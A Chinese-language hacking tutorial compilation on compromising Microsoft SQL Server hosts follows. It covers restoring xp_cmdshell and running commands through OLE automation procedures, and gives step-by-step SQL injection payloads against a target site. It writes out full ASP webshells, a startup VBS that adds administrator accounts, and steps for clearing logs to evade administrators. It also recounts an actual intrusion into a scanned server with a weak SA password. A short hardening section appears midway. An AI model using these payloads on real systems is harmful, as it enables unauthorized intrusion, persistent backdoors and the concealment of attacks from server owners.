| 关键词: CMDSHELL oamethod writeline Exec 服务器 命令 XP NULL sp 存储 |
六当SA遇到XP_CMDSHELL时作者: 一道江河有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令但是那先网管也不是吃素的,都回把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmin dbcreator diskadmin processadmin serveradmin setupadmin securityadmin bulkadmin 这8种 每一个都具有不同的权限,大家都因该可以知道其中的sysadmin权限是最高的,也是我们想要的。。。大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在“利用目录”菜单中打开“执行数据库命令” 填入我们要执行的命令:Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?接着看,还有办法,我们直接在数据库命令执行窗写入:Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到对方的c:\winnt\system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:\winnt\system32\xplog70.dll'好了,接下来就是我们常用的命令 net user 和 net localgroup administrators 命令了,还有清楚IIS日记和MSSQL日记就OK了!上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系统命令的语句我们可以自己给他加上哦,代码如下:declare @o intexec sp_oacreate 'wscript.shell', @o outexec sp_oamethod @o, 'run', NULL, 'net start telnet'接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHELL到服务器上去哦!!!HOHO~~~~declare @o int, @f int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'creatextifile', @f out, 'c:\inetpub\wwwroot\mad.asp', 1exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o = server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>上面的代码就在服务器c:\inetpub\wwwroot\mad.asp上创建了了只有两行的代码我们直接连上去就OK了大家不防试试吧。下面我还是对大家入侵时做一先解释吧,希望大家能看明白,举个例子现在咱们要入侵的网站是这个 www.***.com第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的假如这个。www.***.com/script.asp?id=48还是一样用, ; and 1=1 and 1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和数据库的一些相关信息。想看服务器打的补丁情况,我们提交:www.***.com/script.asp?id=48 and 1=(select @@VERSION) 我想现在大部分服务器都打上SP4补丁了。我们看看其它的,看看他的数据库连接账号的权限,提交: www.***.com/script.asp?id=48 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连接的了,自己有好做的了,还是试一下。万一猜错了呢?提交:www.***.com/script.asp?id=48 and 'sa'=(SELECT System_user用来查看连接账号是不是用sa 连接的,如果IE返回正常。这证明了连接账号真的是SA,看来权限是高了哦(如果要获得已登录用户的身份,则使用Transact-SQL 语句:SELECT SYSTEM_USER)下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了 提交:www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')如果被删除了,NO PROBLEM 我们给他恢复一下。提交:www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'试一下 看看xp_cmdshell是不是恢复过来了 提交:www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')如果没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了。现在大家可以用上面的方法试试了,到这里有耐心的话还可以继续啊。可以用CZY提到的方法试试。不过还用到两个MSSQL存储过程xp_regread 扩展存储过程和xp_regread Web 助手存储过程:xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件名你可以自己指定。当然我们这里就指定为ASP脚本文件CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中再次删除建的临时表 不知道的可要到网上找找哦!不过还是先看看这两个存储过程是不是被删了。。提交:www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')如果两个都返回正常的话,说明两个存储过程都没有删除 :(大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 利用扩展存储过程xp_regread我们可以取得它的值. EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/' 这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?首先:先创建一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,路径就写入到了表中。提交: DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);-- 然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1) )我们用CZY的方法继续提交:www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));这样我们就成功地建了一个名为ABCD的表,并且添加了类型是char,长度为255的字段名DACB。然后向表中加数据:www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (DACB) values(@result);-- 继续提交从注册表中读出Web绝对路径,再把路径插入到刚建的表中。然后报出WebShell的绝对路径www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1) IE返回错误,我们得到Web绝对路径 例如:e:\Inetpub\wwwroot还要删除刚才建的表 提交:www.***.com/script.asp?id=48;drop table cyfd;-- 接下来就好办多了,路径都知道了。得到WEBSHELL因该没问题了吧,得到WEBSHELL后,通过WEBSHELL上传xplog70.dll传到E:\inetpub\wwwroot目录下 我们给他恢复下。提交:www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'e:\inetpub\wwwroot\xplog70.dll'(恢复,支持绝对路径的恢复!用IE来查看一下是不是已经恢复了。提交:www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')如IE返回正常。说明已经恢复了!下面就建用户吧。。。。www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'提升管理员www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd /add' 好了到了这里就OK了。。如果对方有终端的话,就连接吧。,还有清除IIS日志,和MSSQL日志 闪人!~还有一点就是把xp_cmdshell也给他删除掉,不要让网管发现了。HOHO~~~~完..............(写了这么多可能有先看不明白..SORRY!!) 七 去除SA的xp_cmdshell权限如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句: use master sp_dropextendedproc 'xp_cmdshell' xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。 sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 如果服务器存在SQL的SA空口令漏洞,探测结果会显示,参考[图3]。 解决方法:运行SQLSERVER管理工具,给SA帐号加上强壮密码,还要在SQL命令行执行: “if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[xp_cmdshell] ) and OBJECTPROPERTY(id, NIsExtendedProc) = 1) exec sp_dropextendedproc N[dbo] .[xp_cmdshell] ” GO 或: “use master sp_dropextendedproc xp_cmdshell” 这样就算攻击者获得SA帐号密码远程连接后,也不能调用CMDSHELL了。 另外一个也是很常用的数据库MYSQL,默认安装后也存在ROOT空口令漏洞,如果你不补上的话, INTERNET上任意远程主机都可以连接你服务器上的MYSQL数据库,任意编辑,修改,删除数据库 甚至可以通过它来提升权限,完全控制你的服务器。所以必须重视。 解决方法:在mysql>状态下输入: grant select,insert,update,delete on *.* to root@"%" identified by "pass"; 语句即可为ROOT设置口令。这样攻击者就不能远程连接本机数据库了。参考[图4] 如果你的服务器安装了PERL解析,很可能会存在CGI漏洞。 解决方法:这就需要打齐微软的最新补丁,在IIS里把CGI论坛的图片目录属性设置成(无) 即不运行任何教程和程序,这样可以最大限度的减少被攻击的风险。八恢复xp_cmdshell [日期:2005-8-21 1:54:52] [提供者:] [字体:大 中 小] 先尝试恢复xp_cmdshell,sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',结果发现xpsql70.dll被删除。 然后写vbs文件到启动组里面:declare @o int, @f int, @t int, @ret int ,@a intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'set wshshell=createobject("wscript.shell")'exec @ret = sp_oamethod @f, 'writeline', NULL,'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'exec @ret = sp_oamethod @f, 'writeline', NULL,'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)' 九恢复SA的xp_cmdshell权限(图) 前段时间在www.sandflee.net看到一篇如何去掉ms sql的xp-cmdshell扩展存储过程,即使得到SA的密码也不能执行NET命令的文章,文中使用了这样一句命令来去掉xp-cmdshell扩展存储过程,如下: if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'执行以后,我用SqlExec.exe(强烈推荐)连接上,结果如下 显示错误,不能执行命令了。好象去掉xp_cmdshell,即使知道sa密码,也没用了?!不过既然可以删除,当然可以恢复,如果你的sa密码太简单,(sql 7.0通常是空密码,sql 2k 弱智密码)那你的爱机变肉鸡的日子,也为期不远了 *^_^*。如何恢复喃,在SqlExec.exe的format里选着%s,在cmd里输入:sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 执行一下,没任何反映。(以上是用的sql 2k ,要是sql 7.0的话,要换成sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',没有测试,不知道对不对了?)改变一下执行方式,用xp_cmdshell %s ,cmd里为:dir c:\ 呵~~,又可以了,好耍!再来,format里选%s,cmd里:sp_dropextendedproc 'xp_cmdshell' 在来执行命令看看, 又不能用了,出错了。十对SA权限的再突破 (对付xplog70.dll被删) (2005-02-04 14:03) 来源:http://www.hackhome.com/2004/9-13/162627.html 黑客X档案第7期57页,青野志狼有一篇文章<<对SA的权限突破>>。文章写到了在知道sql服务器的SA用户名弱密码后,而服务器去掉了SA的xp_cmdshell权限的情况下,如何通过SQL命令恢复SA的xp_cmdshell权限来进行入侵。这样入侵(详细请看原文)的前提是服务器的xplog70.dll没有被删除或改名,这一点青野志狼也谈到了,但是他没有写在xplog70.dll被删掉或改名的情况下的入侵方法。这里就把我曾经在这样情况下一次成功的黑站验给大家分享一下。 先来看我对xx.41.153.190的扫描结果。x-scan2.3扫描后的详细漏洞表如下: [开放端口]21/80/1433/3389 [sql弱口令]sa(aaa) [CGI漏洞] /_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1 [漏洞描述] /_vti_bin/shtml.dll/nosuch.htm [漏洞描述] /_vti_bin/shtml.dll [漏洞描述] /_vti_bin/shtml.dll/_vti_rpc [漏洞描述] /_vti_bin/shtml.exe [漏洞描述] 除了这几个漏洞,x-scan2.3再没有扫出别的了,好在有sql弱口令。用sql连接器连上看看吧,可大失所望。dir命令不能执行,好像是服务器去掉了SA的xp_cmdshell权限。 我再用sql的查循分析器来连接SQL服务器恢复cmd_shell权限试试。在sql的查循分析器里写入 sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’,但是显示错误。 看样子是xplog70.dll被改名了。抱着试试看看的态度,再用sql连接器连上,执行dir命令,依然依显示图1的情况。 这种情况下怎么办呢?既然有了sql弱口令,而且sql的查循分析器也可以连接上,当然也可以用它来写一些文本程序在服务器上。再打开查循分析器,在弹出的文本框里写入以下sql脚本命令: declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out ---给菜鸟加个简单注释,这两行代码是建立sql的文本对象 exec sp_oamethod @o, ’createtextfile’, @f out, ’c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs’, 1 --在启动菜单里写入a.vbs,当然这里只支持中文 exec @ret = sp_oamethod @f, ’writeline’, NULL, ’set wshshell=createobject("wscript.shell")’ --单引号里的都是a.vbs的内容,要一行一行的写,下同。 exec @ret = sp_oamethod @f, ’writeline’, NULL, ’a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)’ --a.vbs内容结束 执行查循后,这样就会在服务器的启动程序里写入一个a.vbs脚本。 只要服务器重启,就可以加入一个用户名是lcx,密码是123的管理员用户了。做完这一切后我就开始等待服务器重启了,可是等到花儿也谢了,这个用户也没加成功,我用lcx的用户名和密码123一直也登陆不了3389端口。不知是服务器没重启,还是服务器不是中文系统(因为这个sql脚本只支持中文),还是被管理员发现了,总之就是没加成功。在这之后,我就陷入了深思。于是回头看x-scan的漏洞扫描报告,上安全焦点查了一些扫到的漏洞资料,还是一无所获,扫到的漏洞都没有太大的利用价值。思考中,突然灵光一闪,_vti_bin是一个虚拟目录,在IIS上默认的物理路径是C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\isapi\,我可以在这里用sql的查循分析器写入一个asp程序呀。先看看思路对不对,执行http://ip/_vti_bin/,返回403错误码。 证明服务器这个虚拟目录是存在的。好了,我开始写sql脚本,一行一行写得好累呀,做个黑客也不容易呀(本想写入海阳顶端网木马xp.net版。可代码太多了): declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out --给菜鸟加个简单注释:还是建立sql程序的文本对像 exec sp_oamethod @o, ’createtextfile’, @f out, ’C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\lcx.asp’, 1 --在这个目录写入一个lcx.asp文件,没有就生成,你可以根据需要改成别的目录。 exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<% if Request("password")=1234 then’ --单引号里都是lcx.asp代码内容,要一行一行的写呀,我写的是一个改装的cmd.asp,下同。 [Page] exec @ret = sp_oamethod @f, ’writeline’, NULL, ’session("password")="lcx"’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’response.redirect Request.ServerVariables("URL")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’elseif session("password")="" then %>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<FORM name="user" method="POST"> <INPUT TYPE=password NAME=password> <INPUT TYPE=Submit VALUE="确认提交"> </form>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<%else%>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<HTML>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<input type=text name=".CMD" size=45 value="<%= szCMD %>">’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<input type=submit value="执行" class=input>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’</FORM> <pre>’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<% Dim oScript,oScriptNet,oFileSys, oFile,szCMD, szTempFile’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’On Error Resume Next’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Set oScript = Server.CreateObject("WSCRIPT.SHELL")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’szCMD = Request.Form(".CMD")’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’If (szCMD <> "") Then ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’szTempFile = "C:\" & oFileSys.GetTempName( ) ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’ End If ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’If (IsObject(oFile)) Then’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’On Error Resume Next’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’Response.Write Server.HTMLEncode(oFile.ReadAll) ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’ oFile.Close ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’ Call oFileSys.DeleteFile(szTempFile, True)’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’End If %> ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’</BODY> </HTML> ’ exec @ret = sp_oamethod @f, ’writeline’, NULL, ’<%end if %> ’ --好累,代码终于写完了 然后我将这段脚本放在查循分析器里执行,运气不错,服务器的iis是默认安装的,显示命令成功完成。 迫不及待的来看看运行结果吧, 哈,成功了。忘记告诉你,刚才运行的这段sql脚本,会在C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\isapi\这个物理目录下,也就是虚拟目录_vti_bin目录下生成lcx.asp这个asp文件,是一个改装的cmd.asp了,密码是1234。输入密码1234后,再来看看,得到一个cmd的网页shell了。 虽然权限不是很大,但是查看服务器敏感信息,黑掉服务器的网页是绰绰有余的。我就用这个lcx.asp在服务器的C:\Program Files\Microsoft SQL Server\MSSQL\Binn这个目录里发现了一个可疑的xplog701.dll文件,和原来的文件大小比较,果然是一个改名的xplog70.dll。也许有的人要说,你可以再将名字改回来呀。我也试过,虽然改过名,也需要重启mssql服务,这个xplog70.dll才可以加载。看样子我的运气到了尽头,在这台机器上再没有得到太多渗透入侵结果了。 后来我在本机做过测试,我是w2k+sp3+iis5.0+fat32系统,在默认安装情况下,一些默认的虚拟目录用sql 查循分析器大都是可写的,而且这些默认的虚拟目录对应的物理目录都是固定的。除了上文讲到的_vti_bin外,还有像http://ip/printers对应的是C:\WINNT\web\printers,http://ip/对应的是c:\inetpub\wwwroot等等。所以平常说的暴露物理路径的危害由此实例可以管中窥豹了。 最后,我将本文中两个sql脚本和我改装过的lcx.asp为了大家今后入侵的方便,放在这里供大家下载(同url下的vbs.sql/asp.sql/lcx.asp压缩包里有),如果你今后也遇到同样情况,省去你手工输入的麻烦了,但我可不鼓励你入侵呀。:-) |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|